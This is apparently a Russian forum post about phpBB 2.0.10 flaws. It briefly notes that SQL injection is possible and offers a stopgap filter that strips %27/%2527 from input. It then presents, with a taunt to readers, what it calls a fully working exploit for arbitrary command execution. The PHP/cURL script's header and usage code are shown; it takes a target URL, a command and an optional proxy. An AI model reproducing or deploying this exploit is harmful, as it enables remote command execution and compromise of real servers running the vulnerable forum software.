Ну а для выполнения SQL запроса придется вам самим подумать. Сразу скажу, sql запрос можно выполнить, Да кстати результат переменной будет виден в поле автора сообщения -)
Я сделал себе вот такую штуку в extension.inc: $input_arrays = array( 'HTTP_ENV_VARS', 'HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_POST_FILES', 'HTTP_SERVER_VARS', 'HTTP_SESSION_VARS' );
Этот код выкусит подстроки %2527 или %27 из всех вводимых данных. Есно могут возникнуть глюки, например при аплоаде... Но пока не выйдет новая версия phpbb это поможет...
Ниже приведён полность работающий эксплоит, позволяющий выполнять любые команды на уязвимом сервере, причём команды с любым количеством параметров. Вот так то, господа олени.
#!/usr/bin/php -q <?php /* # phpBB 2.0.10 execute command by pokleyzz <pokleyzz at scan-associates.net> # 15th November 2004 : 4:04 a.m # # bug found by How Dark (http://www.howdark.com) (1st October 2004) # # Requirement: # # PHP 4.x with curl extension; # # ** Selamat Hari Raya ** */
if (!(function_exists('curl_init'))) { echo "cURL extension required\n"; exit; }
if ($argv[2]){ $url = $argv[1]; $command = $argv[2]; } else { echo "Usage: ".$argv[0]." <URL> <command> [topic id] [proxy]\n\n"; echo "\tURL\t URL to phpnBB site (ex: http://127.0.0.1/html)\n"; echo "\tcommand\t command to execute on server (ex: 'ls -la')\n"; echo "\ttopic_id\t topic id\n"; echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n"; exit; } if ($argv[3]) $topic = $argv[3]; else $topic = 1;